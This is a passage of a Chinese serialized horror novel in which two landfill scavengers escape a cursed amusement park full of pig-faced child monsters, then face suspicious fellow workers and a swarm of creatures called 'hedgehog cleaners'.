吴萍扫了圈,在右边那块空地上发现了个眼熟的东西。
她走过去,弯下腰。
是个崭新的撬棍。
和自己手里这根是一个款,她拿起来掂了掂。
恐怕是之前的工作人员掉落的,边上还有个紫色的碎片。
她立刻想起来入职那天和她一组的预备训练生。
江赛。
这是她的撬棍?
她头顶上那个手电恰巧就是黑紫色的。
4. 第七堆填区(三)
那天分散后,她就没见过那小丫头,本来想找老A问问,却被阿昌一把拉住。
“还特么问什么?那小子肯定被吃了。”
第七区会吃人,她怎么忘了?
吴萍还记得自己丈夫说的话,她又抬头,望向那片幽静的游乐场。
巨大的摩天轮在昏暗的灯光下,仰起头,看不到顶。
灰蒙蒙的轮廓在视野里有些模糊,不知道是不是她的错觉,它好像……朝她挪近了一点。
小江会不会是进到这里面去了?
这个念头一升起,就像藤蔓一样缠紧了她的思绪。
萍姐站起身,将捡来的撬棍别进裤腰,握紧自己那根,深吸一口气,试图压住狂跳的心脏,朝那片灰影走去。
穿过那道半透明的铁丝网,她终于站进那片诡异游乐场的土地上。
静。
安静的可怕。
连风声都听不见。萍姐立刻后悔了。
刚才简直像被鬼迷了心窍,怎么就走进来了?
她握紧撬棍,在原地僵立了好一会儿,直到确认四周没有动静,才敢挪动脚步。
走到最近的咖啡杯旁,伸手碰了碰。
再抬手时,指尖沾了一层灰白的积尘,在灯光下格外显眼,她反手在工作服上蹭了蹭。
嗒、嗒、嗒——
身后传来细碎的脚步声,萍姐转头,只看见从黑暗里涌来一群……孩子?
不对,不是孩子。
手电光的照射下,跑在最前面的孩子露出全貌。
它们大概只有泰迪狗大小,全身粉白无毛,油腻的皮肤反着光,一些地方的皮松垮垮的堆叠在身上。
一对大耳朵垂在脑袋两边,像被拔了毛的小猪。
但让她最害怕的是,它们的脸。
皱得跟九十岁的树皮,眼皮耷拉,那双混浊的老眼直勾勾盯着她。
“救命啊!!!”
真的有怪物!
萍姐脑子里“嗡”地一声,挥起撬棍扫开背后试图靠近的一只,转身就逃。
“妈妈~”
“妈妈别走!”
身后的怪物发出甜腻稚嫩地呼喊,像她女儿曾经撒娇时的声音。
太可怕了!
谁来救救她!!!
声音钻进耳朵里,让人头皮发麻。萍姐不敢回头,凭着记忆疯跑向进来的地方。
洞!
对,那个铁丝网的破洞!是她钻进来的地方!
乌泱泱的怪物紧追不舍。萍姐终于冲到了记忆中的位置,想也不想,低头就往里钻。
“啊——”
一声惨叫划过黑夜。
在重重小人的包围下,萍姐捂着脑袋,踉跄跌坐在地。
刚才的洞口消失了,取而代之的是交织缠绕的铁网。
刚才那一下,铁网上的荆棘扎破了她的脑袋,空气里弥漫着浓烈的血腥味。
萍姐捂着头,心有余悸的看着那片铁网。
如果刚才再用力一点……
她的脑袋肯定已经扎透在上面了。
“妈妈!”
背后贴上来一群冰凉的脑袋。
来了,来了。
它们追上来了。
萍姐瞪大眼睛,疯狂喘着气。
怎么办,她要死在这里了。
在这种地方,悄无声息地,被这些不人不鬼的东西……
这些怪物会怎么折磨她?
谁来救救她,她不想死,真的不想。
鲜血顺着额角流到脸颊,一只猪崽凑上来,伸出粗糙的舌头,舔掉了那滴血。
那张苍老的脸近在咫尺,浑浊的眼睛盯着她,嘴里发出的却是关切的童音。
“妈妈,不痛哦。”
呜呜呜——
萍姐的眼泪都快出来了,她抖着手挥开那些不断涌上来的怪物,声音发颤。
“你,你们认错人了……我不是你们妈妈……”
“妈妈!”
“就是妈妈!”
怪物的声音七嘴八舌,异常肯定。
“……”
萍姐不敢说话,瘫坐在地上,大脑一片空白。
这时,一个个子高些的怪物轻轻咬住了她的衣角,开始往旋转木马的方向拖拽。
他要干什么?!!
萍姐惊惶地想挣扎,立刻被更多怪物叼住了裤腿,几乎是抬着拖到了木马前。
“不要吃我……求求你们……”她语无伦次地哀求。
“妈妈,抱!”
脚下的怪物们张开短小的前肢,仰着那张恐怖的脸,嚷嚷着要抱。
她这才发现,那个高个怪物已经自己爬上了一匹掉漆的木马,正兴奋地摇晃着身体。
这是……要她抱上去?
萍姐脸上露出了为难的神色,这些怪物的脸太吓人了,她一点也不想靠近。
气氛僵持着,进退两难之下,萍姐捏紧了手中的撬棍。
用撬棍打死它们,把这些不人不猪的怪物打死,然后跑!
她的手刚微微抬起,动作却骤然停住。
怪物群的最后面,站着一个稍微不同的猪崽。
它的脸上还保留着正常人类小孩的模样,只是耳朵大了些,额头有些褶皱,身上套了件破破烂烂的衣服。
那猪崽正努力扒着栏杆,试图站立起来。
虽然面目狰狞,但在一群怪物中竟有几分奇异的和谐。
似乎是察觉到萍姐的视线,那小怪物抬起头,一双乌黑清明的眼睛,对上了她的目光。
萍姐只犹豫了一瞬。
“哎呀,妈妈,妈妈累了,就随便抱一个好了。”
她故作随意地说着,却刻意走向那个小怪物,小心地把它抱了起来,朝木马走去。
怀里的身体冰凉而柔软。
就在她将它放上木马背的瞬间,一个极轻的的声音响起。
“萍姐。”
萍姐浑身一抖,差点把怀里的东西扔出去。
出,出现幻觉了?
那声音……怎么有点耳熟?
她惊疑不定地环顾四周,最后,目光落回了眼前这个刚刚被放上木马的小怪物身上。
“是你在说话?”她问。
小怪物咧开嘴,笑得十分开心,双手抱住木马的脖子,嘴里还在喊着妈妈。
仿佛刚才的声音是她的幻听。
萍姐喉咙发干,赶紧后退两步,与木马拉开了距离。
她错了,这也是个怪物,只是……长得稍微顺眼一点。
出人意料的是,其他怪物见她抱了一个上去,竟也纷纷自己爬上了木马,挤挤挨挨地坐满了掉漆的马背。
萍姐刚刚喘口气,就听到那群小怪物大喊,“妈妈!转!!”
转?转什么?
她愣了几秒,顺着它们指的方向看去。
不会是让她徒手推这个中心轴吧?
萍姐走过去,双手抵住冰冷的铁轴,试探着用力。
纹丝不动。
她又咬牙,用上全身的力气往前顶,汗都下来了,那铁轴却像焊死了一样。
“推,推不动啊。”萍姐喘着粗气,汗流浃背,几乎要脱力。
“没事的妈妈~”
“妈妈辛苦了~”
其中一个小怪物似乎察觉了,灵活地爬下木马,蹭到她腿边,用那颗顶着大耳朵的脑袋拱了拱她。
其他怪物也一窝蜂涌下来,簇拥着她朝其他设施跑去。
萍姐在队伍后面,慢慢跟着,她脑子乱糟糟的。
自己到底在干什么?怎么会落到这个境地?
裤脚突然被人扯住。
她低头,又是那个顺眼点的小怪物。
“…妈妈,抱!”那怪物抬手,冲她撒娇。
萍姐吓得直摆手,加快脚步想甩开,裤脚却被死死揪住。
这小东西力气怎么这么大?
“抱!抱!妈妈抱!”
萍姐面如死灰,挣扎了一会儿,最终还是认命地弯下腰,把它抱了起来。
不远处的怪物正在催促,她抬脚欲走,怀里的小怪物却突然将嘴贴近她耳边,压低了声音。
“妈......呸,萍姐。”
萍姐脚步猛地顿住,扭过头,对上那双近在咫尺的眼睛。
她一直觉得这双眼睛有些眼熟,似乎在哪儿见过。
“萍姐,是我。”
江赛?!
这个声音,剥去那层故作甜腻的伪装后,分明就是江赛!
“小江?”她小声问。
“是。”
“你,你怎么变成这样了?!”
“嘘。”江赛没多解释,只是抬手把脸边耷拉的大耳朵往后撩了撩。
“一不小心……进来就变这样了。”
难道要说自己是因为贪嘴,吃多了腐肉才变成这样的吗?
看周围这些怪物现在的样子,她的下场恐怕不止是变小,再拖延一会,她也会变成那种人不人,猪不猪的怪物。
“这些小孩会缠着你陪玩,等到你累瘫,然后喂你吃猪肉。”江赛语速很快,声音压得极低,“接着,你就会慢慢变成我这样。”
“哈?”萍姐腿一软,刚稳住的魂儿又要飞了,“那,那怎么办?
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我现在跑?!”
“……”江赛沉默了一会,“有它们在,跑不掉的。”
她试过了。
这片地底下是空的,没有新人来的时候,它们就蜷缩在地下。
她也偷偷爬出去过,在园内转悠转悠还行,但只要一靠近铁丝网,这些家伙就会哼哧哼哧地冒出来,不由分说把她拖回去。
江赛在阴暗潮湿的地底不知道躺了多久,一想到旁边那具时刻散发恶臭的尸体她就想吐。
“那我们只能在这儿等死?!”萍姐绝望了。
让她变成这些怪物的模样,她宁可死了干脆。
“嗯……”
其实在萍姐进来之前,江赛早就盘算好了。
只是这些怪物没有母亲的出现,根本不肯离开地底。
“办法是有,只是需要你配合。”
“我愿意!”
“会有点危险…….”
“我可以!”
看得出萍姐对变成怪物这件事十分抗拒,江赛轻轻拍了拍她的肩膀,转头看着后面的旋转木马。
“我们回旋转木马那儿去。”
萍姐毫不迟疑,立刻转身。
小怪物数量太多,硬拼不现实。
虽然到目前它们没有展现什么攻击性,但这种潜移默化令人同化的温柔才是最可怕的。
游乐场的设施年久失修,她先前推中心轴时就发现了端倪。
锈蚀严重的不止木马本身,就连平台和底座之间固定齿盘的螺栓,都齐刷刷锈断了大半,摇摇欲坠。
“等会你把它们全都引上木马,然后推动中心轴。”
江赛被萍姐抱着靠近木马,她抬手抽走了她别在腰间的另一根撬棍。
这玩意儿,用来搞破坏再合适不过。
“尽量吸引他们的注意力,听到我的信号,就头也别回地往外跑。”
“可,可那东西我推不动啊。”
“我会帮你的。”
听见这话,萍姐心下更加不安,她放下江赛,声音发颤。
“你……你确定能行?”
她不确定。
这话江赛没说,反而低下头,用恢复甜腻的嗓音对不远处的小怪物们喊道。
“妈妈说她又有力气啦!要陪我们玩木马哦!”
萍姐浑身一僵,扭过头,对上那群瞬间亮起来的眼睛。
“呃……呵呵,对,”她硬着头皮,扯出一个比哭还难看的笑,“来,我们来玩木马……”
“耶——!!”
“玩木马咯!!”
小怪物们欢呼着涌向旋转木马,经过萍姐身边时,一个家伙眼珠一转,又伸出前肢撒娇。
“妈妈抱!”
还来?!
萍姐脸色一白,下意识想拒绝,却想起江赛的计划。
“我……”她挣扎着再次弯下腰。
手刚伸出,一根冰冷的铁棍突然横过来,“啪”地一声,轻轻抽开了地上的小怪物。
她顺着铁棍看去。
是缩小的江赛,她冷着一张脸,声音带着不满。
“你妈的力气要留着推木马!哪有功夫抱你?”
“……”这话说的。
那小怪物挨了一棍,脸色变得有些狰狞,下一秒又恢复笑脸对着萍姐。
“对不起妈妈,我自己上去。”
说完,它灵活地转身,自己爬上了平台。
这些小东西……还挺听话的。
萍姐神色一软,看着它们推推搡搡的模样,几乎要生出错觉,但她立刻打了个寒颤,回过神来。
“它……”她转头,刚才身边的小人已经不见了。
小江呢?
萍姐急忙转头四处寻找那个小小的身影,最后在平台边缘的阴影里,瞥见一个毛茸茸的脑袋。
她正愣神,那脑袋边上伸出一只异常坚定的小手,对她比了一个干脆利落的OK手势。
“……”
这……靠她了?
萍姐深吸一口气,转身走向那根沉重的中心轴,双手再次抵上生锈的铁柱。
吱呀——
轴子转动,发出不堪重负的呻吟。
这东西……什么时候变得这么轻了?
萍姐心中诧异,刚才还沉重的中心轴,此刻在她手下竟顺畅得不可思议。
不对,这很不对。
小江到底要做什么?
萍姐脸上不敢露出异样,只是更加卖力地推动,让木马旋转的速度越来越快。
身边的小怪物坐在木马上狂欢。
“快点!”
“再快点!!”
5. 第七堆填区(四)
江赛握着撬棍,正费力地帮萍姐推动齿轮,直到木马完全转起来,她才抽身,去研究边上驱动结构。
底下的真实的状况,比她先前看到的更严重。
不止断裂的螺栓头,残存的螺栓杆身也布满锈坑。
更致命的是,那一整段环形齿盘因长期受力不均,已经严重下弯,与下方的啮合完全错开,像一块即将脱落的烂铁皮。
这……还用得着她特意破坏吗?
木马每高速旋转一圈,扭曲的齿盘转到这个位置,错落的齿盘就会猛烈刮撞下方的基座,发出巨响,让整个平台剧烈颠簸。
“哐!!吱嘎——!”
江赛在底下被震得七荤八素,死死抱住一根支柱。
她真怕这玩意儿没等她动手,自己就先塌了,把她活埋在这堆锈铁下面。
可箭在弦上,不得不发。
再说这种事,她也是第一次干。
她深吸一口气,抱着撬棍看了会,找准绝佳的位置,握住撬棍尖端,往边缘挪动。
木马在怪物的催促下高速旋转,江赛等待时机的同时还不忘抬眼看看头顶那块厚重的铁板。
萍姐……推得比她还猛呢,真拼啊。
就在齿盘刚刚转过去的那一刹那,江赛用尽全身力气,将撬棍对准那早已扩大的变形缝隙,狠狠捅了进去。
就是现在!
锵——!!!
高速旋转的圆盘被这根钉子强行卡住,突然失去支撑,齿轮挤压着撬棍发出吱呀的声响。
江赛在撬棍脱手的瞬间,双手猛地扒住平台边缘,整个小身子借着惯性向外一荡,惊险地从底盘下钻了出来。
“跑!!!”
几乎就在她身体滑出的同一秒——
咯嘣!嘣嘣嘣——!!!
脚下的齿轮不堪重负纷纷炸开,飞溅的铁块四射,碎片擦过她的脸旁,将她那耷拉的大耳朵割开了一道长长的血口。
江赛忍着痛就地一滚,半跪着站起身。
平台上的景象比下面更骇人。
旋转的木马被强行制动,上面狂欢的怪物们因为惯性惨叫着飞出,狠狠撞击在底座,支柱上,瞬间血肉模糊,断肢横飞。
而平台一端失去支撑,猛地向下倾斜,塌陷。
另一边,萍姐在江赛话刚脱出的瞬间,就已撒手往外跑。
她本已观察好了逃跑路线,可突然停止的木马在惯性作用下向后猛地一荡。
“砰!”
沉重的木马边缘结结实实撞在她的腰侧。
萍姐痛呼一声被撞倒在地,又因平台的急剧倾斜而翻滚。
她忍着剧痛刚撑起身想往外爬,一个被甩飞的怪物砸在身边,破碎的血肉沾满了一身。
“啊!!”
萍姐尖叫一声,愣在原地。
“快跑!!”江赛的声音穿过混乱。
她浑身一激灵,立刻起身,手脚并用地飞快往外爬。
前方,那个小小的身影正朝她冲来。
是江赛!
萍姐心中一喜,下意识抬手,想喊她一起快走。
谁知面前的人没有丝毫停顿,一只手稳稳按上她的肩膀,轻盈地越过她。
“欸?”
她一愣。
下一秒,腰间仅剩的一根撬棍被抽走。
萍姐猛地回头。
只见身后,那个小孩岔开腿,稳稳站在倾斜的平台上。
她双手紧握着撬棍,在身前结结实实一抡。
“啪!!!”
身后一只正龇着牙扑来的怪物,被狠狠扇飞,撞进后方的废墟里。
萍姐完全呆住了。
幸存的怪物彻底变了模样,它们弓起脊背,那双苍老的眼睛狠狠瞪着前方的萍姐,喉咙里发出低沉的吼叫。
江赛收了撬棍,转身扯住还趴在地上发愣的萍姐。
“快走!”
失策了,没想到这些怪物存活力这么强,断胳膊断腿的追来就算了。
怎么连脑袋都瘪了一半的,还能拖着肠子往前爬?!
她心里正哀嚎,身后传来天崩地裂般的巨响。
两人不敢回头,只能拼命地往前狂奔,下一秒,江赛脚下骤然一空。
突如其来的失重感让她心中一惊,双腿瞬间发软,整个人跟着跌去。
“小江?!”
身边的萍姐一直死死握着她的手臂,慌乱中低头,正巧看见江赛那软绵绵浮动的双腿,和飞速塌陷的地面。
这?!
萍姐来不及细想,她弯腰,手臂从江赛腋下穿过,用力将那一小团捞了起来。
她力气本就不大,好在江赛此刻体型缩小,否则刚才那一下,两人都得掉进深渊。
江赛在半空中转了个方向,被萍姐紧紧夹在臂弯下。
她只看见身后弥漫的尘土席卷而来,将那些追逐来的怪物渐渐吞没。
恐怖的巨响声紧跟她们的脚步。
整个游乐场,正以旋转木马为中心,朝着四周疯狂塌陷。
麻烦了。
江赛低头看向自己那两只像果冻一样飘荡的短腿,努力集中精神,试图在狂奔的颠簸中让它们重新凝固。
人之初,性本善。不想上班,想摆烂……
唉。
她侧过头,在震耳欲聋的坍塌声和风声里大喊,“能抗住吗?!”
萍姐咬着牙,没说话。她很想问江赛的腿到底怎么了,但眼下显然不是时候。
“游乐场要全塌了!别回头,往前跑!!”
听见臂弯下传来的喊声,萍姐心里一凉,立刻想起来那道包围整个区域的铁丝网。
“那我们怎么办?!”
她没等来回复,电光石火间,她想起进来时的那个破洞,一咬牙,朝着记忆中的方向玩命冲刺。
灰尘灌进眼睛,火辣辣地疼,萍姐眯着眼睛,在一片昏暗里依稀辨认方向。
好不容易找到洞口位置,身后的塌陷已经来到脚后跟。
“洞口!”萍姐瞥见了那个破口,心中狂喜,但塌陷的速度太快了。
来不及两人一起钻过去!
萍姐心一横,圈着江赛,像掷保龄球一样,朝着洞口用力往前一丢。
“卧槽!!”
江赛还在观察地底裂缝中一闪而过的诡异银光,下一秒整个人便天旋地转,惊呼着在地上翻滚了好几圈,堪堪从洞口擦着飞了出去。
最后“啪”地一声,脸朝下趴在了洞外的安全地带。
萍姐丢完人,立刻弯腰埋头就往洞里钻。
前面的江赛忍着晕眩,撑起身体,转身伸出手想去拉她。
就在萍姐大半个身子刚刚探出洞口的瞬间。
“轰隆——!!!”
她身下的地面毫无征兆地彻底崩塌。
“啊——”
萍姐只发出一声惨叫,半个身子往下一坠,右腿扎进地底下露出的铁丝网。
空气立刻弥漫出一股浓烈的血腥味。
“萍姐!”江赛一惊,撑着身体爬过去。
塌陷直到铁丝网边界奇迹般地停止了,萍姐扒着摇摇欲坠的地面,下半身完全悬空。
她右侧大腿被狰狞的铁网深深贯穿,鲜血正汩汩涌出,将生锈的铁丝染成暗红。
“救,救我……”她疼得满头大汗,几乎绝望地看着江赛柔软的双腿。
为什么?
她好不容易……才逃到这里……
右腿被铁网死死勾住,萍姐无力的蹬着左腿,想要爬上来,剧烈的动作将伤口撕扯的更大,她几乎要痛晕过去。
“别动。”
稚嫩的声音在耳边响起,她再抬头,才发现江赛不知何时已经爬到她身边,半个小身子都探出了坍塌边缘。
她一手死死握着铁网,一手拿着撬棍,弯着腰,费力的去勾萍姐被铁网缠住的右腿。
铁网上布满荆棘,江赛的手被扎的血液直流,她连眉头都没皱一下,全部注意力都集中在解救她的大腿上。
“你……”萍姐一愣,呆呆地看着近在咫尺的那张小脸。
直到右腿被轻轻勾动,她尝试抬了抬,一股剧痛传来,紧接着,她的右腿就被撬棍勾住抬起。
萍姐立刻抬起左腿,狼狈的爬上地面。
她低头,面色苍白地捧着大腿直发抖,工作服被划开巨大的口子,露出里面浸透鲜血的旧裤子。
萍姐颤抖着手,扯住旧裤腿,撕下一长条布,就着破烂的工作服,将腿上那个可怕的伤口紧紧缠绕几圈。
做完这些,她几乎虚脱,靠在残垣上大口喘息。
然后,她才想起什么,猛地扭头看向江赛。
那边的身影,正费劲地将自己被钉在荆棘上的右手一点点拔出来。
“你的手……”气氛归于平静,萍姐
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沉默了会问,“没事吧。”
“问题不大。”江赛摇摇头,就是……
好痛哦!
痛死了啊啊啊!!!
这样想着她依旧维持着面上的冷静,低下头,想借着微弱的光线拔掉手上的刺。
“我来帮你吧。”萍姐撑起身,艰难地挪到江赛身边,捧着那只伤痕累累的手给她拔刺。
小小的手掌上几乎被荆棘扎成了筛子,有些刺带着倒钩,深深嵌进肉里。
甚至那根触目惊心的中指,已经被荆棘硬生生截断,只剩几缕皮肉,摇摇欲坠地连着手指。
寂静的空气中,只剩下血肉拉扯的声音。
都说十指连心,萍姐看着都觉得自己的手指开始幻痛,偏偏眼前这人还是一脸平静的模样。
萍姐当然看不出江赛内心正在疯狂刷屏的痛痛痛痛痛。
她忍着鼻酸,迅速处理完手上的刺,又撕下自己内衣更干净的布料,小心翼翼地为江赛包扎那只惨不忍睹的手。
做完这一切,江赛靠坐着,看着自己慢慢有了感觉的双腿,问她。
“还能走吗?”
萍姐用撬棍当拐杖,撑着站起身,试着跳了两步。
疼,但是还勉强能动。
“那……”江赛也用手撑地,试图站起来。
“嘶!!”
好痛!!!
剧痛从指尖传来,她整个人一软,又直挺挺地倒回地上。
“你没事吧?!”萍姐吓了一跳,下意识想去扶她。
“……没事。”地上的小孩侧过脸,感受软绵绵的后背,略显尴尬地看着她,“我想睡会儿。”
“……”
两人在原地捱了许久。
江赛一直没出声,萍姐也白着脸,忍着大腿一阵阵抽痛,把浸血的布料拆开,又用牙齿配合着,将伤口缠得更紧了些。
……这孩子,不会真睡着了吧?
她撑着撬棍站起身,正准备弯腰去查看地上的江赛,不远处的黑暗里,却突然传来清晰的交谈声。
“到了,应该就在前面!”
“天都快亮了,还来这鬼地方凑什么热闹……”
“先看看情况……”
声音越来越近,夹杂着踩过碎砾的脚步声。
萍姐脸上一喜,正要开口,似乎又想到了什么,脸色一变,连忙弯腰去拉地上的人,可腿伤让她动作笨拙迟缓。
“哎——”
一道刺眼的手电光柱毫无预兆地扫过来,萍姐下意识闭上眼,再缓缓睁开时,前方几米外,站着三四个人影。
“这儿……有人?”打着手电的那个女人愣了一下,脸上带着疑惑。
“小心点。”中间的一个高个子男人上前半步,挡在了女人前面,“指不定是什么鬼东西。”
真的是人!!
萍姐心脏狂跳,热泪几乎要涌出来。
看着对面谨慎的模样,她赶紧抬手拿起胸前满是灰尘的名牌,用袖口擦了擦,向他们展示。
“不是怪物!不是怪物!我也是回收员。”她语速很快,带着劫后余生的激动,指向队伍里唯一的那个女人。
“晚上在入口集合的时候,我就站你旁边!排JD648732!你,你还和我说过两句话,记得吗?”
“这……”女人眉头蹙起,用手电光仔细照着萍姐灰头土脸的模样,辨认了好一会儿,“……是你?”
她想起来了,今天值班的临时工里,只有她们两个女性。
这个看上去紧张不安的女人确实凑过来,低声和她说了好几句关于“害怕”、“为了钱”之类的话。
“你认识?”旁边另外两个男人看向她,手依旧警惕地按在腰间的工具上。
“哦~算是吧。”
女人点了点头,语气稍微放松了些,用下巴点了点萍姐,“排我后面进来的。不过……你怎么搞成这样了?”
“……”萍姐迟疑了一瞬,“刚才……这边突然塌了,我没留神,摔了一跤,被铁网划伤了。”
她避重就轻,没提游乐场的事。
“可以把我们带回出口吗?”她恳求道。
我们?
几人顺着萍姐的目光看去,才发现地上还躺了个灰扑扑的孩子。
她浑身沾满尘土,似乎感觉的众人的目光,那孩子从地上慢慢爬起,对着边上的萍姐伸出手。
“妈妈。”
6. 第七堆填区(五)
几人还在疑惑,刚刚还激动求救的女人,在听到那声“妈妈”后,脸色瞬间变得苍白。
她摇着头,踉跄着后退了两步,又猛地停住,似乎在纠结些什么。
“你……你还带着孩子来这种地方上班?”女人的眉头拧紧了,手电光扫向地上那团小身影。
光线清晰地照出了那双仍在滴着血的大耳朵。
这是……
女人瞳孔一缩,立刻握紧了手中的撬棍,与身边几人对视一眼,空气中弥漫开无声的警报。
这分明是个怪物。
“这不是你的孩子。”她斩钉截铁,声音也冷了下来。
她们现在怀疑,这个一脸狼狈的女人也是怪物伪装。
高个男人已经从绑腿处拔出一把匕首,朝着两人步步逼近。
萍姐也感觉到了危险。她不明白,怎么转眼间,刚刚燃起的希望就变成了杀机。
脚下的江赛还在揪着她的裤腿喊妈妈。
难道……连江赛也变成了游乐场里的怪物?
“我,我我……”她语无伦次地后退,大脑一片空白。
“等一下!亚东!”身后的女人叫住高个男人,将手电光对准地下的小孩,“先把这怪物解决。”
听见这话,刘亚东转了方向,大步走到江赛面前,弯腰,粗糙的大手揪住那瘦小的后颈,将她提到半空。
小孩正脸也是脏兮兮的,唯独露出那双乌黑的眼睛,它挥着短小的手臂,似乎想抓住什么。
“你长得可真够丑的。”
刘亚东嫌弃地撇撇嘴,握着匕首的手在她周身比划,似乎在挑选从哪里下手。
面对这么小个东西,确实比杀人更让人……别扭。
冰凉的匕首最后对准了江赛的额头。
嗯……
就从这里吧,一击毙命,她也少受罪。
“等一下!!”
就在他抬手的那瞬间,一个带着血腥味的身影跌跌撞撞冲过来。
刘亚东猝不及防,被撞得一个趔趄,手一松,那小怪物已经被夺走。
萍姐跌坐在地上,怀里抱着江赛,大腿的伤口因为动作再次崩开。
鲜血迅速浸湿了刚缠好的布料,她浑身发抖,却将怀里的小身体箍得死紧。
“她,她是我女儿!”萍姐的声音抖得厉害,手指慌乱地抚摸着江赛的额头,整个人哆嗦着向后挪。
刘亚东刚刚站稳,听见这话青筋暴起,弯腰一把攥住萍姐的衣领,几乎将她提离地面,“滚开!别他妈找死!!”
“不,不要……”
“陈秀英!把这疯女人给我拉开!不然老子连她一起砍了!!”刘亚东回头怒吼。
队伍里那个稍年轻些的男人皱起眉头,低声骂了句,“莽夫。”
叫陈秀英的女人走上前,却没去拉萍姐,而是站在刘亚东身后,“你女儿不是死了吗?”
萍姐的呼吸一窒,“我,不是,我女儿没有死。”
“她,她是生了种怪病!医生说治好要很多钱,我才拼命来这里工作的!”
见几人脸上还有怀疑,她又急忙补充,眼泪配合地涌了上来。
“我怕她的怪样子吓到别人……才一直没说真话。”
“我男人嫌她这样丢人,早就对外说孩子死了……孩子生了病,爹不肯管,我只能,只能偷偷带着她来上班……”
“求你们,别告诉老A。”她仰起满是泪和灰的脸,哀声恳求,“我真的需要这笔钱!”
空气凝固了片刻,几道目光在萍姐悲痛的脸和怀里那怪胎之间来回扫视,似乎在思考这话的真实性。
最后,还是陈秀英打破沉默。
她忽然轻笑一声,弯下腰,一巴掌拍开萍姐衣领上的手,然后蹲下身,与她平视。
“不好意思啊,”她语气缓和下来,甚至带了点歉意,“在这种鬼地方,难免神经绷得太紧。”
她看了眼被萍姐护得牢牢的小孩,“吓到你们娘俩了吧?”
萍姐苍白着脸,拼命摇头,“没、没事……能……能带我们离开这儿吗?”
“当然。”陈秀英站起身,拍了拍手上的灰,“你跟我们一起走,带上你女儿。”
听见这话,萍姐悬着的心猛地落回一半,只是边上那高个男人充满戾气的眼神还在瞪着她。
“差不多得了。”先前出声的年轻男人走过来,瞥了刘亚东一眼,“人家又不是你杀的猪,收收你那眼神。”
“既然没事了,就快走吧。”后方一直沉默的寸头男人开口,“天,天快亮了。”
陈秀英“切”了声,转头问萍姐,“能走吗?”
萍姐点点头,撑着撬棍想站起,却因失血和紧张,腿一软又跌坐回去,额头上瞬间疼出冷汗。
“嗯?”听见身后的闷哼声,陈秀英转头,将手电光对准萍姐大腿。
那整条裤腿已经被暗红的血液浸透,地上甚至积了一小滩。
萍姐惨白着脸,虚弱地问,“能……能等我一下吗?我重新包一下……”
得到众人默许,她放下江赛,开始撕扯自己本就破烂的衣袖。
江赛在一旁静静看着,眉头微蹙,没出声。
“你就算把全身的布都缠上去也没用。”察觉到萍姐的意图,陈秀英叹了口气,蹲下身,扯过她手里的破布条扔到一边。
她看着萍姐惨白的脸,犹豫了一瞬,还是从裤兜里摸出一个小小的金属扁瓶。
“照你这样,还没走出去,就得失血死。”她抬手掰着萍姐的下巴,将瓶口凑近,“张嘴,喝了。”
萍姐一愣,看着那不明液体,迟疑了会,最终还是顺从地张开了嘴。
冰凉的液体灌入喉咙,刚刚下肚,一股奇异的暖流立刻在身体里蔓延开,浑身的疼痛瞬间消失不见。
就在她们处理伤口时,刘亚东正烦躁地在附近踱步。
他时不时瞪向坐在地上的江赛,时不时转身望着那片铁网。
“我说,你真该去看看医生。”年轻男人跟着他溜达,语气带着惯有的嘲讽。
“赚再多钱,一身蛮力,这儿有问题也是白搭。”他指了指自己的太阳穴,“难怪你小秀英看不上你。”
“你他妈的找死!!”
刘亚东抡起拳头狠狠朝着他脸砸去。
“嘭!”
男人被打倒在地,鼻血长流,他刚想爬起来,刘亚东已经跨坐上去,一手死死揪住他的头发,另一只拳头高高举起。
这狗东西就是故意来找打!
他握着拳,一手抓着男人的头发。
“刘亚东!周俊!”陈秀英低声喊道,“孙洋帆!快把他们拉开。”
孙洋帆如梦初醒,连忙冲过去拉刘亚东的手臂,“东哥!别,还是算了!”
“滚开!”
谁知那莽夫力气惊人,手一挥,孙洋帆竟被整个掀飞出去,狼狈地摔在地上。
“废物。”看见这一幕,陈秀英低声骂了句。
她扶着萍姐站起身,看了眼地上沉默的江赛,略一犹豫,还是弯腰将她抱了起来。
“感觉怎么样?”她问。
“好、好多了!真的!”萍姐惊异地看着自己不再渗血的大腿,连忙道谢,“谢谢!这是什么药?”
“恢复剂。”陈秀英说完,看向那边愈演愈烈的冲突,大步冲了过去。
“我说了,别在这儿发疯!”她一手仍抱着江赛,另一只手抬起,将空了的铁瓶狠狠砸在刘亚东的后脑勺上。
高个男人动作一顿,手里还揪着周俊头发的手没松,他缓缓转过头,看着陈秀英怒火中烧的模样。
“还不起来!”
刘亚东顿住了,胸膛剧烈起伏几下,最终,转头瞪了眼地上的年轻男人,从他身上爬起。
江赛能感觉到,那道阴恻恻的目光没放在她身上了,反而盯向那个正擦着鼻血爬起来的周俊。
冲突暂歇,一行人准备往回走。
萍姐拄着撬棍,时不时看向趴在女人肩头的江赛,脸上写满不安。
陈秀英被她焦躁的模样逗笑了,换了个手抱稳江赛,“怎么?还怕我吃了你闺女?”
她话音刚落,明显感觉到怀里的小孩浑身一僵。
陈秀英下意识想低头查看——
前方,孙洋帆带着哭腔的声音打破了暂时的平静。
“保,保洁员……”
“是刺猬保洁员!!
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!”
几乎在他话音落下的同一秒。
窸窸窣窣……窸窸窣窣……
无数密集的刮擦声,从四面八方涌来。
“跑!!!”
根本无需犹豫,前方的三个男人瞬间转身,朝着来时的方向亡命狂奔。
陈秀英脸色剧变,立刻紧跟其后。
她走在萍姐前面,经过她身边时还伸手去拽她的胳膊,“快跑!跟上!!”
江赛被女人抱着,在剧烈的颠簸中,借着四处乱晃的手电光,终于看清了地面上那些正从四面八方汇聚而来的生物。
密密麻麻的绿色椭圆形生物,覆盖了整个地面,它们全身布满了颜色各异的毛刺,毛刺根部还有肿胀的凸起。
这就是……刺猬保洁员?
简直像一群会移动的变异仙人掌。
萍姐本就因腿伤跑不快,一下子就被几人远远甩在后面。
脚后跟突然传来一阵尖锐的刺痛和瘙痒,她不敢回头,只敢咬牙狂奔。
脚上那股异样感无比清晰,一个沉重的东西,已经黏在了她腿上,正从脚后跟,缓缓地向上蠕动……
救命……
她知道,刺猬爬上来了。
不知为何,她的速度越来越慢,双腿像灌了铅一样沉重,每一次抬腿都变得无比艰难。
是失血?还是……
“快过来!!”
孙洋帆的声音在前方响起。他竟然已经钻进了那片游乐场,正站在废墟上,焦急地挥手。
另外几人毫不犹豫,立刻调转方向,朝着那个洞口冲去。
陈秀英抱着江赛,犹豫了一下,回头看了一眼步履蹒跚的萍姐,眼中闪过一丝挣扎。
她没停,冲到洞口,先将怀里的江赛往里一塞,自己紧随其后钻了进去。
临进去前,她回头朝着几乎要被绿色淹没的萍姐大喊,“跟着影子跑!!”
